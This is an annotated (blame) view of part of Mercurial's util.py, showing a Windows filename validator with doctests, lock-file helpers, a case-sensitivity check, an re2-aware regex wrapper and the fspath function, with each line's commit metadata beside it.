path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1358 "filename contains 'con', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1359 >>> checkwinfilename(b"foo/bar/xml.con") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1360 >>> checkwinfilename(b"foo/bar/AUX/bla.txt") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1361 "filename contains 'AUX', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1362 >>> checkwinfilename(b"foo/bar/bla:.txt") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1363 "filename contains ':', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1364 >>> checkwinfilename(b"foo/bar/b\07la.txt") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1365 "filename contains '\\x07', which is invalid on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1366 >>> checkwinfilename(b"foo/bar/bla ") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1367 "filename ends with ' ', which is not allowed on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1368 >>> checkwinfilename(b"../bar") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1369 >>> checkwinfilename(b"foo\\") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1370 "filename ends with '\\', which is invalid on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1371 >>> checkwinfilename(b"foo\\/bar") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1372 "directory name ends with '\\', which is invalid on Windows" |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1373 ''' |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1374 if path.endswith('\\'): |
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1375 return _("filename ends with '\\', which is invalid on Windows") |
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1376 if '\\/' in path: |
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1377 return _("directory name ends with '\\', which is invalid on Windows") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1378 for n in path.replace('\\', '/').split('/'): |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1379 if not n: |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1380 continue |
32572
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
1381 for c in _filenamebytestr(n): |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
1382 if c in _winreservedchars: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1383 return _("filename contains '%s', which is reserved " |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1384 "on Windows") % c |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1385 if ord(c) <= 31: |
34360
f435097d13c9
py3: manually escape control character to be embedded in win filename error
Yuya Nishihara <yuya@tcha.org>
parents:
34357
diff
changeset
|
1386 return _("filename contains '%s', which is invalid " |
f435097d13c9
py3: manually escape control character to be embedded in win filename error
Yuya Nishihara <yuya@tcha.org>
parents:
34357
diff
changeset
|
1387 "on Windows") % escapestr(c) |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1388 base = n.split('.')[0] |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
1389 if base and base.lower() in _winreservednames: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1390 return _("filename contains '%s', which is reserved " |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1391 "on Windows") % base |
34361
7508a7dc95c1
py3: replace bytes[n] with slicing in checkwinfilename()
Yuya Nishihara <yuya@tcha.org>
parents:
34360
diff
changeset
|
1392 t = n[-1:] |
15358
a347b3614bae
util: don't complain about '..' in path components not working on Windows
Matt Mackall <mpm@selenic.com>
parents:
15159
diff
changeset
|
1393 if t in '. ' and n not in '..': |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1394 return _("filename ends with '%s', which is not allowed " |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1395 "on Windows") % t |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1396 |
34645 | 1397 if pycompat.iswindows: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1398 checkosfilename = checkwinfilename |
30974
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1399 timer = time.clock |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1400 else: |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
1401 checkosfilename = platform.checkosfilename |
30974
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1402 timer = time.time |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1403 |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1404 if safehasattr(time, "perf_counter"): |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1405 timer = time.perf_counter |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1406 |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1407 def makelock(info, pathname): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1408 try: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1409 return os.symlink(info, pathname) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1410 except OSError as why: |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1411 if why.errno == errno.EEXIST: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1412 raise |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1413 except AttributeError: # no symlink in os |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1414 pass |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1415 |
704
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1416 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1417 os.write(ld, info) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1418 os.close(ld) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1419 |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1420 def readlock(pathname): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1421 try: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1422 return os.readlink(pathname) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1423 except OSError as why: |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1424 if why.errno not in (errno.EINVAL, errno.ENOSYS): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1425 raise |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1426 except AttributeError: # no symlink in os |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1427 pass |
13400
14f3795a5ed7
explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13392
diff
changeset
|
1428 fp = posixfile(pathname) |
14f3795a5ed7
explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13392
diff
changeset
|
1429 r = fp.read() |
14f3795a5ed7
explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13392
diff
changeset
|
1430 fp.close() |
14f3795a5ed7
explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13392
diff
changeset
|
1431 return r |
704
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1432 |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1433 def fstat(fp): |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1434 '''stat file object that may not have fileno method.''' |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1435 try: |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1436 return os.fstat(fp.fileno()) |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1437 except AttributeError: |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1438 return os.stat(fp.name) |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1439 |
3784 | 1440 # File system features |
1441 | |
29889
6f447b9ec263
util: rename checkcase() to fscasesensitive() (API)
Martin von Zweigbergk <martinvonz@google.com>
parents:
29832
diff
changeset
|
1442 def fscasesensitive(path): |
3784 | 1443 """ |
18911
451eb1c27c1b
util: improve doc for checkcase
Mads Kiilerich <mads@kiilerich.com>
parents:
18868
diff
changeset
|
1444 Return true if the given path is on a case-sensitive filesystem |
3784 | 1445 |
1446 Requires a path (like /foo/.hg) ending with a foldable final | |
1447 directory component. | |
1448 """ | |
24902
986a5c23b1c1
util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents:
24692
diff
changeset
|
1449 s1 = os.lstat(path) |
3784 | 1450 d, b = os.path.split(path) |
15667
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1451 b2 = b.upper() |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1452 if b == b2: |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1453 b2 = b.lower() |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1454 if b == b2: |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1455 return True # no evidence against case sensitivity |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1456 p2 = os.path.join(d, b2) |
3784 | 1457 try: |
24902
986a5c23b1c1
util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents:
24692
diff
changeset
|
1458 s2 = os.lstat(p2) |
3784 | 1459 if s2 == s1: |
1460 return False | |
1461 return True | |
14004
97ed99d1f419
eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents:
13985
diff
changeset
|
1462 except OSError: |
3784 | 1463 return True |
1464 | |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1465 try: |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1466 import re2 |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1467 _re2 = None |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1468 except ImportError: |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1469 _re2 = False |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1470 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1471 class _re(object): |
21913
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1472 def _checkre2(self): |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1473 global _re2 |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1474 try: |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1475 # check if match works, see issue3964 |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1476 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]')) |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1477 except ImportError: |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1478 _re2 = False |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1479 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1480 def compile(self, pat, flags=0): |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1481 '''Compile a regular expression, using re2 if possible |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1482 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1483 For best performance, use only re2-compatible regexp features. The |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1484 only flags from the re module that are re2-compatible are |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1485 IGNORECASE and MULTILINE.''' |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1486 if _re2 is None: |
21913
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1487 self._checkre2() |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1488 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1489 if flags & remod.IGNORECASE: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1490 pat = '(?i)' + pat |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1491 if flags & remod.MULTILINE: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1492 pat = '(?m)' + pat |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1493 try: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1494 return re2.compile(pat) |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1495 except re2.error: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1496 pass |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1497 return remod.compile(pat, flags) |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1498 |
21914
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1499 @propertycache |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1500 def escape(self): |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1501 '''Return the version of escape corresponding to self.compile. |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1502 |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1503 This is imperfect because whether re2 or re is used for a particular |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1504 function depends on the flags, etc, but it's the best we can do. |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1505 ''' |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1506 global _re2 |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1507 if _re2 is None: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1508 self._checkre2() |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1509 if _re2: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1510 return re2.escape |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1511 else: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1512 return remod.escape |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1513 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1514 re = _re() |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1515 |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1516 _fspathcache = {} |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1517 def fspath(name, root): |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1518 '''Get name in the case stored in the filesystem |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1519 |
15710
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
1520 The name should be relative to root, and be normcase-ed for efficiency. |
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
1521 |
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
1522 Note that this function is unnecessary, and should not be |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1523 called, for case-sensitive filesystems (simply because it's expensive). |
15670
d6c19cfa03ce
icasefs: avoid normcase()-ing in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15669
diff
changeset
|
1524 |
15710
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
1525 The root should be normcase-ed, too. |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1526 ''' |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1527 def _makefspathcacheentry(dir): |
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1528 return dict((normcase(n), n) for n in os.listdir(dir)) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
1529 |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
1530 seps = pycompat.ossep |
30625
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
1531 if pycompat.osaltsep: |
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
1532 seps = seps + pycompat.osaltsep |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1533 # Protect backslashes. This gets silly very quickly. |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1534 seps.replace('\\','\\\\') |
31496
670166e0fcaa
util: use bytes re on bytes input in fspath
Augie Fackler <augie@google.com>
parents:
31495
diff
changeset
|
1535 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
15669
390bcd01775a
icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15667
diff
changeset
|
1536 dir = os.path.normpath(root) |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1537 result = [] |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1538 for part, sep in pattern.findall(name): |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1539 if sep: |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1540 result.append(sep) |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1541 continue |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1542 |
15719
1dd60426b061
icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15718
diff
changeset
|
1543 if dir not in _fspathcache: |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1544 _fspathcache[dir] = _makefspathcacheentry(dir) |
15719
1dd60426b061
icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15718
diff
changeset
|
1545 contents = _fspathcache[dir] |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
1546 |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1547 found = contents.get(part) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
1548 if not found: |
15720
3bcfea777efc
icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15719
diff
changeset
|
1549 # retry "once per directory" per "dirstate.walk" which |
3bcfea777efc
icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15719
diff
changeset
|
1550 # may take place for each patches of "hg qpush", for example |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1551 _fspathcache[dir] = contents = _makefspathcacheentry(dir) |
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
1552 found = contents.get(part) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
1553 |
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
